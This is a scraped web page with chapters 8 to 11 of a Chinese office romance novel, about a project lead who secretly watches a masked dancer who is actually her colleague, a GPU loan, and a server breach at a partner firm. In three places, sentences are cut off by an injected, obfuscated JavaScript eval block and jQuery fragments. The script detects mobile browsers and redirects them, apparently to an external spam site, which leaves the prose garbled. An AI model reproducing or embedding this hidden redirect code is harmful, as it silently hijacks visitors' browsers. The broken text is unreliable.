许翊年选了一首节奏极强、鼓点炸裂的曲子,动作幅度大开大合,每一个卡点都精准用力到极致,wave流畅得不像话,甚至带着点发泄般的狠劲。跳到副歌部分,他猛地撩起衣服下摆,露出线条分明、汗湿的腹肌,对着镜头做了一个极具冲击力的定格。
一切似乎都充满了野心……
录制,剪辑,配上音乐,检查了一遍没有暴露任何背景信息后,许翊年准备上传。
他的手指在标题处悬空停顿了几秒,脑子里闪过晚上和陈也柠的对话,冷笑了一声,输入:
【听说差别只有一点点?】
然后干脆利落地点击了发布。
做完这一切,他心里的那点郁气似乎才稍稍平息了一些。他把手机扔到一边,走进浴室冲澡,完全没去想这条视频的数据啊,反响啊之类的。
他只想要那个叫“柠檬耶”的账号主人,立刻、马上看到!
8. chapter 08
等许翊年擦着头发从浴室出来时,情绪已经彻底平静下来。
冷静之后,他开始有点后悔了……
那个标题……太明显了,简直像是在跟某人隔空喊话。
万一真被她猜到呢?
许翊年想到自己的腹肌在陈也柠手机里定格的画面,想着如果真掉马了,也不知道是他更社死一点,还是她更社死一点。
两个人还有办法继续面对面工作下去吗……
他拿起手机,想,算了,还是重新编辑一下吧。
久违又充满野心的作品,使得点赞和评论增长的速度都比他平时发视频要快得多。评论区依旧是一片“啊啊啊好苏”和“帅死我”的海洋,但夹杂着几条敏锐的评论:
【哥你今天好凶!但是好帅!】
【感觉博主在跟谁较劲?这舞蹈力度绝了!】
【标题啥意思?】
【摩卡跟我说实话,你crush来抖音了是不是?!】
许翊年稍微滑了两页评论列表,本想退出了,视线被一张玫红色底的表情包吸引,神似三丽鸥的卡通人物笑眼眯眯,手握玫瑰,表情包上简简单单三个字:嗨,老公。
……
促使许翊年在这个表情包界面停留更长时间的,是发这个表情包的ID——柠檬耶。
看来已经没有重新编辑的必要了。她看到了,而且好像完全没有察觉……
……
第二天上班,电梯间。
陈也柠加快脚步,在电梯门关上的最后几秒钟赶上。
电梯里的人里三层,外三层。
站在最外层的同事微笑和她打招呼:“柠总。”
电梯门关上以后,镜面照出陈也柠精致但略显疲态的脸。
同事惊讶地问陈也柠:“你昨晚是通宵了吗?”
“没有。”通宵不至于,只是昨晚进了摩卡主页后就找不到退出键,跟中了毒一样刷他的视频刷到了三点多……陈也柠看着自己最近确实有点“纵欲过度”的眼周,说:“昨晚熬夜写文档,写得有点迟。”
都知道陈也柠最近在忙再立项目的FDA,同事关心地说:“还是得注意休息啊。”
“嗯。“陈也柠心想,回头就把抖音删了。
……不行,把抖音删了我拿什么续命。
陈也柠并之看不到加浓美式娇弱地在角落伸手哭泣:“妈妈你不爱我了吗~?”暗自更正:
等FDA结束就把抖音删了!
到7楼,事业部的人鱼贯而出。
陈也柠走在前头,被藏在电梯最里层的许翊年手插口袋慢悠悠走在后头。
他默默注视陈也柠散发着专业、矫健、充满力量的职场化背影,脑海中一边回想她刚刚眼睛也不眨说的话——昨晚熬夜写文档,写得有点迟……一边想象她凌晨两三点在他的主页大考古,把他所有露了腹肌的视频全部点击收藏时候的模样。
……
下午时分,许翊年走到不见陈也柠身影的她的工位,问陈也柠的助理:“她去哪了?”
助理:“茶水间。”
许翊年点头谢了一声,走向飘着咖啡香气的茶水间。
走到门口就听到里面热烈的谈论氛围,许翊年推开门,背对着门坐的思思正在兴头上,没转头看人,手里拿着手机和陈也柠分享:“……他跳得真的跟别人不一样,那种律动感,对吧……你看这个腰腹力量,顶起来的那一下……”思思合不拢嘴,激动地捂着胸口笑得花枝乱颤。
手机上循环播放的,正是许翊年昨晚发的那条视频。
“……”令许翊年意外的是,陈也柠不单单是看,还发表感想了。
“而且虽然他的动作还是蛮有暗示性的,但是一点也不觉得擦边,可能是因为他包得很严实?”
“没错没错,很有劲,但是又不俗。”思思满足地叹了口气,说:“绝了。”
许翊年本来没想喝水,听到这些对话以后,默默拿起一个一次性水杯开始接凉水……
陈也柠看了一眼对着饮水机面壁的许翊年,权当他只是来接水的。
“但是。”思思的好朋友悦悦直言不讳:“一般会把自己包得那么严实的男的,长得肯定都不怎么样。”
这话许翊年没少听,他淡定喝水。
“才不!我有照片!”思思退出视频,点开自己的相册,里面有好几张摩卡直播时候,她截下来的图。
许翊年一只手搭在饮水机上,疑惑地转头。
“你看!”思思带着证明的态度,首先把照片拿给悦悦看。
悦悦:“……这能看出什么来啊。”
陈也柠感兴趣地伸手:“给我看看。”
悦悦立刻把手机递给陈也柠,像是献宝一样。
陈也柠接过,停顿了两秒之后,伸出双指将图片放到最大,仔细端详着屏幕里高糊的截图。
和视频相比,直播的时候,摩卡确实是大方了很多,没戴帽子,露出了让人有很多遐想空间的眼睛、鼻子……
“你看这鼻梁,这眉骨,”思思在一旁激动道:“还有这个下颌线!绝对不可能是丑男!这骨相,摘了口罩肯定是个帅哥!”
悦悦一脸:我不懂。
但陈也柠懂。
之所以摩卡戴着口罩,还让人一眼有种帅哥的感觉,原因很简单。
他的单眼皮有一种说不上来的神秘感,深色的眼珠子盯着你看的时候,有一种被小狼狗盯上的感觉。
口罩上沿的鼻梁轮廓挺直,口罩下沿的下颌线棱角分明。
陈也柠认真地欣赏着,同时用自己的想象力填充男人口罩之下的长相,在这个过程中,嘴角有意无意飘了起来。
就在她一副津津有味的时候,无意间抬眸看到了先前看了一眼就被她给忽视掉的许翊年,只见他的视线直直地落在她的脸上,视线的成分很是复杂,有新鲜?又有困惑?好像还有点无语。
……
见许翊年的视线和她相撞之后也没有挪开,陈也柠和他对视了一会儿,也迟疑了一会儿,问:“你……是想加入我们吗……?”
“……”许翊年:“找你有事。”
思思这才转头看到身后的许翊年。
陈也柠知道自己的休闲时间已结束,她把手机交还给思思,起身跟着许翊年走出茶水间。
思思愣愣地看了看手机
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535523|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里的照片,又看了看眼前许翊年的背影,也不懂为什么自己的心跳莫名加速如鼓点。
……
陈也柠见许翊年一路没说话,就知道话题不适合在公司谈。她默契地跟着许翊年走出园区之后,才开口问他:“怎么了?
下楼的路上,许翊年已经叫了车,这会儿他一边确认司机距离,一边说:“需要你陪我去个地方。”
陈也柠一副感到还蛮突然的表情,问:“去哪?”
许翊年:“A大实验室有十张闲置的显卡可以借我们。”
陈也柠五官惊喜上扬:“这么多?!”
白色新能源车在面前停下,听到是关于显卡的事,陈也柠也没犹豫,拉开车门就跟许翊年钻进了后座。
车子启动,许翊年言简意赅:“现在过去取。”
陈也柠依旧沉浸在“十张卡”的喜悦里,情绪滑行了一段后,才忽然反应过来:“等等……所以我是……搬运工?”
许翊年看着微微侧身,先是带着惊叹,接着带着学习的态度看着他,一脸“现在的年轻人,使唤上级都这么行云流水吗”的表情的陈也柠,笑了一下,说:“不敢。虽然卡是学长帮我问的,但设备还是要去老师那边取。以免老师怀疑,学长建议我带上项目负责人一起,成功率比较高。”
陈也柠:“怀疑什么?”
话音刚落,陈也柠就有答案了。
怀疑许翊年是冒充项目组的学生,偷摸学校的设备出去干私活,又或者怀疑他是想骗设备的社会闲散人员。
毕竟他每天都是卫衣长裤,脖子上还挂着项链,一副痞痞的样子。
知道陈也柠已经懂了,许翊年也没再解释说明,低头给学长发实时位置消息。
就在这个时候,耳边传来熟悉的背景音乐。许翊年移眸看了陈也柠手机一眼,霎时顿住。
视频里,他用力顶了一下跨,完美卡点。
陈也柠像是尝到了什么美味,抿起嘴角,循环播放。
播到第五遍的时候,许翊年终于忍不住,问陈也柠:“要不要看这么多遍,你是看魔怔了吗?”
陈也柠状态十分松弛地说:“不是啊,那他勾引我,我有什么办法。”
许翊年:“………………”
许翊年:“我记得刚开始你还会遮掩一下,现在都这么直白了吗?”
陈也柠面不改色:“那咋了,我们都是一条绳上的蚂蚱了,还有必要藏着掖着吗。你想看什么也随便看,我不会说出去的。”
“……”许翊年:“谢谢,我暂时没想看什么需要你帮我保密的东西。”
“OK~”陈也柠随口问:“那你平时都做些什么来解压?”
许翊年没办法回答这个问题,他看了一眼还在陈也柠手机屏幕上循环播放的视频……
许翊年:“所以……看他的视频,会帮你解压吗?”
“会啊。”陈也柠滑到摩卡的下一条视频,那条视频的点赞和收藏都已经被陈也柠点亮,显然她已经看过,不过陈也柠还是一脸喜欢,爱看,“我这段时间多亏了他。”
许翊年心里暗爽,低低一笑,无奈又宠溺的样子,“那你继续看吧。”
9. chapter 09
“车子可以开进去吗?”即将抵达学校正门的时候,司机看着车闸横杠和背着手站在附近的保安,问了这么一句。
“可以。”陈也柠和许翊年几乎同时回答,接着两个人就看向对方。
陈也柠脸上的疑惑更强一些,许翊年回答:“我在这里读的大学。”
轮到陈也柠回答:“哦,那我是之前来过。”
许翊年看到陈也柠降下车窗,转头去看校园两旁正在簌簌下落的梧桐叶,似乎对于学校里的空气十分怀念地深吸了一口气后,问她:“什么时候?”
陈也柠继续盯着窗外那些看起来无忧无虑,年轻蓬勃的学生们,脸上扬起羡慕,说:“几年前吧,过来校招。”
许翊年显然对这里更加熟悉,指引司机在错综复杂的校园小路里穿行,最后停在一栋略显陈旧的实验楼前。
“到了。”他率先推开车门,陈也柠跟着他一起下车。
实验楼下,一个穿着简单格子衬衫和牛仔裤的高瘦男生笑着迎上来。
许翊年扯了扯嘴角,露出一个在公司罕见的笑容:“学长。”
学长笑得一脸亲切:“来啦。”
许翊年侧身介绍:“学长,这是我们项目负责人,陈也柠。这是我学长,李泽言,博三在读。没有他费心费力帮忙沟通,我们不可能借到这么多卡。”
陈也柠发自内心感恩地向李泽言伸出手:“真的非常感谢您。”
李泽言一脸不好意思地对陈也柠说:“不用这么客气。”随后笑着对许翊年说:“怎么把头开得这么见外。”
“在五楼。”李泽言领着陈也柠和许翊年往楼上走,“王老师上周还提起你。”
许翊年脸上带着淡淡的笑容:“说我坏话?”
陈也柠默默旁听。
李泽言:“也算,埋怨你当时没留校继续读研。”
见许翊年笑着没有回答,陈也柠好奇问李泽言:“他学生时期成绩很好吗?”
李泽言听着陈也柠发出的疑问,笑了起来,看着许翊年说:“看来你在公司表现很一般嘛。”
陈也柠:“……我不是这个意思。”
许翊年没有在意,煞有其事点头回复李泽言:“嗯,领导对我比较严格。”
“……”陈也柠帮李泽言把话题拉回来:“所以你为什么没继续读研?”
只见许翊年沉默了,从他的表情来看,似乎没有想好要怎么回答这个问题,也不想随随便便回答。
好在,五楼到了。
学长敲了敲实验室的门,一道中气十足浑厚的女声响起:“进。”
走进实验室后,陈也柠看到红木桌后面坐着一个约莫五十来岁的女性,微胖,戴着厚厚的眼镜,气场很强。
李泽言笑着说:“老师您好,我是控制科学工程的李泽言,来拿之前申请过的卡。”
“哦。”老师的目光立刻变得审慎起来,逐一在李泽言,许翊年和陈也柠脸上停留,“谁来签字?”
李泽言看向陈也柠,陈也柠明白,上前说:“老师您好,我是项目负责人,我来签字。”
申请原因李泽言在流程上已经写了,流程也已经批完了,老师看着大大方方,又沉稳干练的陈也柠,觉得很合理,没什么特别想问的,指了指桌面上用凤尾夹夹起来的本子某一栏,对陈也柠说:“在这个地方签字。”
陈也柠:“好。”
老师拿出钥匙,打开柜子,费了些劲抱出里面一纸箱,放在桌面上,打开确认了眼,说:“喏,十张RTX4090,你们检查一下。”
陈也柠和许翊年的眼睛登时亮了起来。
现在是许翊年的主场了。他开始检查设备,每确认好一张,就动作熟练地将卡装入自己带来的防护箱中。他低着头,刘海垂下遮住了眼睛,但微微上扬的嘴角泄露了他的好心情。
在许翊年检查的过程中,陈也柠不做什么,只是等待。两人就仿佛有提前沟通好的默契一般,在陈也柠负责形象工程的时候,许翊年甚至可以放空把心放进肚子里,在许翊年负责技术工程的时候,就可以轮到陈也柠放空了。
全部确认完毕后,许翊年对学长和陈也柠点了个头。
李泽言:“谢谢老师。”
老师:“没事。”
下楼的时候,气氛比来时更多了几分轻松愉快。
许翊年背着沉甸甸的十张卡,满面笑容对李泽言说:“学长,真的太谢谢你了。走,一起吃个饭吧。”
李泽言温和地摆摆手说:“不用,没事。”
陈也柠见状,同样诚恳地说:“李学长,你不知道你的帮助对我们来说有多重要。一顿饭不足以表达我们的感谢。但眼下正好是晚饭时间,还请你给我们个机会,至少让我们先表达一点心意。”
李泽言依旧是温和摆手,对陈也柠,也对许翊年说:“真的不用这么客气。”
见两人还想说些什么,李泽言拍了拍许翊年的手臂,说:“和你比起来,我做的真的不算什么。”
许翊年微微一顿。
李泽言温柔道:“我知道的,都是为了光宇嘛。”
李泽言看了眼时间,说:“我也想和你们一块吃晚餐多聊一会,但我马上还有个小组会,时间上真的没办法。”
“既然这样……”许翊年:“那回头我们再约,下次你可不能再拒绝我们了。”
李泽言笑着答应:“行。”
和李泽言分别以后,陈也柠和许翊年和来时一样,打车回公司。
两个人的心情还是以兴奋为主。
陈也柠:“这下卡的数量还有差吗?”
许翊年:“还差几张,同步还有几个朋友在帮我,应该没问题。”
陈也柠点头,内心舒畅地看向窗外,过了一会儿,转头问许翊年:“光宇是什么?”
许翊年:“……什么?”
陈也柠:“刚刚你学长不是一脸意味深长地说,他知道的,都是为了光宇。光宇是什么?”
许翊年:“我不能曝光再立项目,所以就随便说了个别的。”
陈也柠点了点了头,“对了,你当初为什么会答应我,来再立帮忙?”
许翊年眉心动了动,看着尽量自然提问的陈也柠。
与此同时,陈也柠的视线一瞬不瞬地回应
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535524|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着他。
许翊年:“这算什么问题?”
“很正常的问题。”陈也柠:“你来了再立之后有睡饱觉过吗?还到处欠人情,是为了什么?”
许翊年:“……”
见许翊年没有回答,陈也柠更是抬了抬眉头,“如果你本来就是工作这么积极的风格的话,你原来的领导不会放你过来。”
许翊年的眉头不悦地蹙了起来,他有点被气笑,直接问陈也柠:“你在怀疑什么。”
陈也柠凝眸看着许翊年,停顿了好久之后,移开眼眸,说:“我不想怀疑什么。”
空气里悬着一点未尽的余音。
许翊年侧头看她,声音平缓地打破沉默:“因为觉得再立项目有意思,有挑战性。”
陈也柠听着许翊年延迟的解释,手支头不知道在想什么,视线也没有重新看向他。
许翊年顿了顿,补充道,语气里带上一点他惯有的懒散和漫不经心,“而且,原组那边的工作确实有点无聊,不如来这边刺激。”
陈也柠终于缓慢地转过头,脸上没什么表情,只是眼底深处有一丝极淡的疲惫掠过,“许翊年,你可别骗我。”
许翊年:“……”
许翊年可以理解陈也柠的多疑,但他不想继续这个带着猜忌的话题了。
他声音放低了些,对陈也柠说:“如果累了就睡会儿吧,到了我叫你。”
陈也柠没有应他,但是下意识地调整了一下坐姿,让自己靠得更舒服些。
两个人都不再说话,疲倦感如潮水般涌上,意识逐渐模糊。
许翊年想了一会滤波器系数、梯度压缩算法、零知识证明私钥等等等等之后,侧过头去看陈也柠,发现她的呼吸逐渐变得均匀绵长,头微微歪向车窗一侧,几缕碎发垂落在颊边,减弱了她清醒时的锋利感,显出几分难得的柔和。
他无声地看了一会儿,出租车驶过一个缓速带,轻微颠簸了一下。
陈也柠的头顺着惯性一滑,眼看就要磕到车窗玻璃上。许翊年几乎是下意识地伸出手,掌心及时垫在了她的额角和冰冷的玻璃之间。
几乎是同时,陈也柠猛地一震,惊醒过来,但来不及反应,额头还是向车窗玻璃的方向撞了一下,撞在了许翊年的掌心。
“没事吧。”许翊年收回手,垂眸看被吓到的陈也柠。
“……没事,谢谢。”陈也柠收起残留的睡意,整理了一下微乱的头发,转头去看窗外,城市干道已相对熟悉,距离公司不远了。
“你蛮神奇的。”
听到这句话后,陈也柠收回放在车窗外的视线,转头看着许翊年,“什么?”
许翊年:“我说,你蛮神奇的。一会怀疑我,一会又在我身边毫无防备地睡着。”
“……”说的陈也柠自己都笑了:“说明我潜意识里做出了选择。”
许翊年:“什么选择?”
陈也柠:“选择相信你呗。”
许翊年:“……”
陈也柠捋了一下头发,用一副“随便吧,大不了地球爆炸”的态度,耸了耸肩,说:“反正我现在能相信的人也只有你了。”
10. chapter 10
大部分员工已经下班,陈也柠和许翊年就像两个逆行人,向上的电梯里只有他们两个。
刚才车上那段对话,像一缕微不可察的丝线,缠绕在两人之间,气氛有些微妙的凝滞。
“直接去机房?”她侧头问许翊年,语气公事公办。
许翊年背着沉重的防护箱,看着电梯门反射出的两人的影像,说:“嗯。”
电梯上行,数字不断跳动。狭小的空间里,两人并肩站着,能听到彼此轻微的呼吸声。
“叮”的一声,电梯到达机房所在楼层。一股凉气涌出,里面是排列整齐的机柜,指示灯如同繁星般闪烁。
许翊年轻车熟路地找到一个空置的机位,小心翼翼地将防护箱放下。陈也柠跟了进来,站在一旁,看着他一言不发地开始工作。
许翊年动作又快又熟练,拆箱,取出显卡,拧开服务器机箱的盖板,精准地找到插槽,将一张张昂贵的卡嵌入其中。他的手指修长灵活,眼神专注,所有的漫不经心和懒散都在进入技术领域后消失殆尽,取而代之的是一种沉稳和锐利。
陈也柠发现自己帮不上具体的忙,便安静地待在一边,偶尔在他需要递个工具或者扶一下机箱时搭把手。大部分时间,她只是看着。看着这个回母校取个卡,都因为吊儿郎当的气质而需要她来演背书角色的男人,在属于他的战场上展现出截然不同的专业魅力。
机房里很安静,只有螺丝刀拧动、硬件卡入位时的轻微声响,以及持续的环境散热噪音。
“好了。”不知过了多久,许翊年直起身,盖上最后一台服务器的盖板,拍了拍手,“硬件安装好了。接下来是配置环境和跑测试,需要点时间。”
陈也柠:“大概要多久?”
“顺利的话,两三个小时。”许翊年走到主控电脑前坐下,屏幕亮起,反射在他专注的脸上,“你不用在这里耗着。”
陈也柠想了想说:“那行。”转身便离开了机房。
回到7楼,宽敞的空间里只剩下零星几个人。
陈也柠坐在电脑前,脑袋里浮现许翊年在机房里沉浸专注的样子,随后深吸一口气,开始处理堆积的邮件和项目文档。
时间悄然流逝。
直到手机屏幕亮起,显示收到一条新消息。
来自许翊年。
【初步测试通过了。稳定性还不错。】
后面跟了一张截图,是测试程序输出的结果日志。
陈也柠看着那条简短的消息,回复:【太好了。】
想了想,又加了一句:【你点餐了吗?】
消息发出去后,那边隔了一会儿才回。
【点了。】
好吧。
陈也柠拉开抽屉,拿出一桶泡面,起身走向茶水间……
等到处理完手头最后一份报告,揉了揉发酸的脖颈,发现又凌晨了,陈也柠拿起手机,看没有新的消息,陈也柠心想,许翊年那边还没结束?
她犹豫了一下,决定下楼去看看。
机房外的走廊静悄悄的,只有指示灯散发着幽光。
陈也柠透过门上的小窗向里望去,只见许翊年还坐在主控台前,屏幕的光映着他认真的侧脸,手指偶尔在键盘上快速敲击。
她轻轻推门进去。
许翊年似乎太投入,并没有立刻察觉。陈也柠走到他身后,看到屏幕上密密麻麻滚动的代码和实时监测的数据流。
“还没好?”她轻声开口问。
许翊年这才猛地回神,转过头,脸上带着一丝高强度工作后的倦色,但眼睛却很亮。
“差不多了,在做最后一遍完整性校验。”
他的声音因为长时间没说话,有些低哑。
陈也柠注意到他手边放着一瓶喝了一半的矿泉水,以及一个……能量棒包装纸。
陈也柠停顿了一下,问:“你不会就吃这个吧?”
“不是很饿。”许翊年不甚在意地转回去盯着屏幕,“马上就好。”
“……”陈也柠没再说话,只是安静地站在他身后,看着屏幕上那些她看不太懂的数据和曲线。一瞬间,她忽然非常清晰地认识到,早前在车上的那些怀疑与试探,似乎在这一刻变得有些苍白和……不必要的伤人。
“OK了。”许翊年最后敲了一下回车键,长长舒了一口气,整个人向后靠在椅背上,转过头,看向陈也柠,虽然疲惫,但还是对她露出一个懒洋洋的笑容,“搞定,明天可以正式开始跑训练了。”
陈也柠的心像是被什么东西轻轻撞了一下。
她迎上他的目光,也露出了一个笑容:“辛苦你了。”
寂静的机房里,庞大的服务器群在低声嗡鸣。许翊年因为陈也柠温柔的语气微微一顿,随后表情也彻底松弛下来,抬起胳膊一边伸了个懒腰,一边说:“也辛苦你了,”他目光落在她脸上,带着一点笑意,“每天晚上都留下来陪我。”
陈也柠的眼眸蓦地跳了一瞬。
许翊年知道她其实没必要每晚都留到这么晚,她的那些文件完全可以带回家处理,甚至有些晚上,她的工作量根本不足以支撑她耗到深夜。
看着许翊年此刻了然直白的目光,陈也柠脸颊有些微微发烫,“你人还怪好的……我留下来是在监督你工作,跟进项目进度。”
许翊年感觉到欲盖弥彰的可爱,他低低笑了一声,那笑声在安静的机房里显得格外清晰,带着磁性的震动,轻轻搔刮着陈也柠的耳膜。
“哦?”他尾音上扬,带着明显的戏谑,“原来工作早就做完了,但还是坚持留在办公室,一脸傻乐地看博主跳舞,叫做监督工作,跟进项目进度。”
“……”陈也柠本来还想和许翊年一起下班的,此刻一点也不想看到他了,转身便说:“再见!”
许翊年看着陈也柠逃也似地背影,虽忍俊不禁,但眼里带着暖意。
……
几天后,陈也柠和许翊年两个人在小会议室。
白板上写满了密密麻麻的算法逻辑和数据处理流程,桌上散落着各种报表和初步的训练结果分析。
许翊年后腰抵在桌沿,正面面对白板,思考了很久之后,还是神情凝重,向陈也柠解释模型上遇到的瓶颈:“……这里的梯度消失问题比我们预想的要严重,必须调整激活函数,或者引入新的归一化层,否则迭代效率太低,赶不上进度。”
彼时,两人都已连续高密度地连轴了好几天。
陈也柠坐在许翊年对面,看似专注,目光随着他的手指在白板上移动,实则大脑和空气差不多凝滞。
……
许翊年手上拿着马克笔,盯着今早灵魂显然没和她一起出门的陈也柠看了好一会儿……
与此同时,陈也柠彻底进入了神游状态,回过魂的时候,眼眸陡然一睁,就好像中
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16535525|186532||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间的时间被剪辑师成段剪掉了一样,下一帧没有任何起承转合地,就跳到了许翊年在她面前单手撑着桌面,俯身视线与她齐平,眯着眼睛盯着她的画面。
陈也柠有被自己和许翊年鼻尖的距离吓到,脑袋往后微微弹了一下。
许翊年知道陈也柠的魂回来了,支在桌面上的胳膊把俯下的上半身撑起来,垂眸看她说:“我还以为你睁着眼睛睡着了。”
就在许翊年起身的这个过程当中,陈也柠的视线忽然定格,看着从许翊年的领口滑出的冷光,紧接着就伸出食指,勾住从许翊年脖颈处垂下来的这条设计精巧的银色项链。
许翊年的后颈受到了轻微的向下拉力,正在向上一节一节抬起的腰部停顿了下来。
“这条项链……”陈也柠盯着,眼眸微微眯了起来。
与此同时,许翊年头皮瞬间一麻,想,糟了,最近忙得晕头转向,这条拍视频的时候才会戴的项链,今天居然忘了摘。
“这条项链……”陈也柠一开始只觉得眼熟,盯着看了一会儿后,全部想起来了,因为摩卡不露脸,所以总是在舞蹈动作间若隐若现的独特坠子,成了粉丝们辨认他的标志之一。
许翊年看着目光落在他脸上的陈也柠,在她的停顿沉默中,心跳速率呈45°角直线向上加速。
萦绕在对视着的陈也柠和许翊年之间的空气安静流动。
半晌,陈也柠忽然若有所知地挑了挑眉头,许翊年登时瞳孔微收,几乎是本能地呼吸一滞。
陈也柠了然地松开食指上撩起的那个冰凉的金属坠子,抿嘴看着许翊年紧绷的脸,脸上露出带着点揶揄和“被我抓到了”的狡黠笑容。
“许翊年,”她一字一顿,压低声音,调侃道,“还说我,自己也偷偷看摩卡的视频,学他搞了个同款项链,被我发现了。”
“……”许翊年整个人都愣住了,大脑宕机了三秒钟,才处理完她的话。
巨大的、劫后余生般的松懈感瞬间冲垮了许翊年的紧张,让他逐渐有余力开始“瞻仰”陈也柠的脑洞。
许翊年看着陈也柠一脸“被我戳穿了”的笑容,没解释,随便她怎么发挥想象力,只要不掉马就行。
许翊年的沉默在陈也柠眼中更具有玩味性了。
“所以……你喜欢思思?”陈也柠看着许翊年疑惑这个结论是如何得出的表情,兴奋地阐述自己的推理:“你知道思思很喜欢摩卡,所以暗戳戳模仿他。”
许翊年无语地看着陈也柠:“你怎么不说我喜欢你。”
陈也柠亮晶晶的表情微微一顿。
许翊年:“你不是也很喜欢偷看他的视频。”说到“偷看”两个字的时候,许翊年反击一般,也一字一顿,加了点重音。
挺有效果,因为陈也柠瞬间不想和他继续这个话题了,“你刚才说的归一化层调整,具体方案是什么?”
许翊年暗暗松了口气,拉了下领口,把项链藏进衣领后,视线移向白板,继续讲模型上的问题。
……
会议接近尾声之时,许翊年和陈也柠敲定了初步解决方案,气氛刚刚有所缓和,陈也柠放在桌上的手机尖锐地响了起来,屏幕上跳动着“南京-王经理”这几个字。
陈也柠在许翊年面前接起电话:“喂,王经理?”
电话那头的声音犹犹豫豫,但又焦急万分:“柠总……我们这边发生了一个意外情况。”
11. chapter 11
王平弘:“我们的服务器被黑了,数据可能泄露了。”
“什么?”陈也柠猛地站起身,脸色瞬间变得煞白,“你说具体点,怎么回事?”
会议室里的空气骤然凝结。
许翊年的脸色也沉了下来,目光锐利地看着陈也柠。
电话那头语无伦次:“就……就今天早上突然发现的,有未经授权的访问痕迹,核心数据库被暴力破解的迹象。我们、我们正在紧急排查,但情况不太乐观……柠总,对不起,真的对不起。”
陈也柠感觉到一股寒气从脚底直冲头顶,虽然外包给南京这家公司的工作不是再立项目的核心工作,但不管核心与否,只要有数据泄露,都是雷。
她深吸一口气,极力保持镇定,但声音还是不可避免地带上了一丝颤抖:“立刻封锁所有访问权限,保存所有日志记录,等我,我马上订最近的航班过去。”
挂断电话,会议室里一阵寂静。
陈也柠看向脸色同样难看的许翊年,声音沉了下去:“技术外包那边出事了,服务器被入侵,数据可能泄露。我现在要马上过去。”
许翊年:“我跟你一起去。”
陈也柠拧眉看着立刻做出行动的许翊年,她确实需要一名技术跟着一起去解决问题,但……
“我们刚刚讨论的模型的解决方案要怎么办?”陈也柠觉得脑壳突突地疼。
许翊年:“只能先远程处理能处理的了。”
在这个魂好不容易才回来了几分钟,大脑一片浑沌的时候,陈也柠也想不出更好的主意。
她迅速划开手机屏幕,指尖在购票软件上飞快操作:“最近一班去南京的飞机是三小时后,准备一下,我们现在就去机场。”
许翊年点了个头,没有多余的话,和陈也柠一起转身往外走,两个人分别回到自己的位置上,动作利落地收拾笔记本电脑和随身包,身影都透着一种沉静的决断力。
二十分钟后,两个人就坐上了前往机场的网约车上,车厢内陷入一种紧绷的沉默。
一路上,陈也柠都对着手机,继续处理因为突发状况而被打断的工作安排,指尖在屏幕上快速敲击。
身旁,许翊年则对着笔记本电脑,远程检查公司内部服务器的一些日志,试图寻找可能与南京事件相关的蛛丝马迹。
就在这个时候,手机屏幕上方弹出来电,显示赵聿明三个字。
陈也柠指尖停顿了一下,深吸一口气,强迫自己冷静下来后,这才接通电话。
“在哪呢?”赵聿明:“来我办公室开个会。”
陈也柠咬了咬牙后,说:“……我在去机场的路上。”
“啊?”赵聿明:“去哪?”
“南京技术外包公司那边出了点问题,我和许翊年现在赶过去处理。”陈也柠尽量让自己的汇报听起来客观平静。
赵聿明在电话那头沉默了两秒,没有被陈也柠的模棱两可糊弄过去,“出了什么问题?”
陈也柠:“……具体情况还不了解,王平弘打电话过来……说他们服务器被入侵,数据可能存在泄露风险。”
赵聿明再次沉默了两秒,声音带着一丝不易察觉的意味深长:“这么严重?“
“……”陈也柠:“具体情况要到现场才知道。上高速了,信号不太好,回头有什么情况,我在微信上跟你汇报。”她说完,不等赵聿明再说什么,便掐断电话。
就在陈也柠情绪很明显起了波动的时刻,耳边传来许翊年低沉的声音。
“别担心。”他并没有抬头,视线依旧放在发着幽光的电脑屏幕上,“到了地方看了日志才能确定情况。未必有那么糟。”
这句话带着技术人士特有的理性,非常素白,没有什么温度,却奇异地让陈也柠紧绷的神经松弛了一点点。
在这种时候,一个冷静且专注于解决问题的同伴,比任何空洞的安慰都来得实在。
“嗯。”她轻轻应了一声,转头将视线看向车窗,冷静地把无助于解决当前困境,同时还会影响情绪的杂念一个一个丢出脑外。
……
飞机起飞不一会儿后,陈也柠双手抱胸,靠在椅背上,闭着眼,但显然无法入睡。长长的睫毛在眼下投下淡淡的阴影,嘴唇抿得有些发白。
机舱内灯光调暗,许翊年合上电脑,揉了揉有些发酸的眼睛,疲惫感如潮水般涌了上来。
许翊年同样靠在椅背,转头看了一会陈也柠即使在闭目养神,也依旧因为内心焦灼而紧锁着无法放松的眉头,不知道在心里想了些什么,好半天后才转回头,轻轻地闭上了眼睛。
……
飞机在南京禄口机场平稳降落,天空已经换上了黑色。
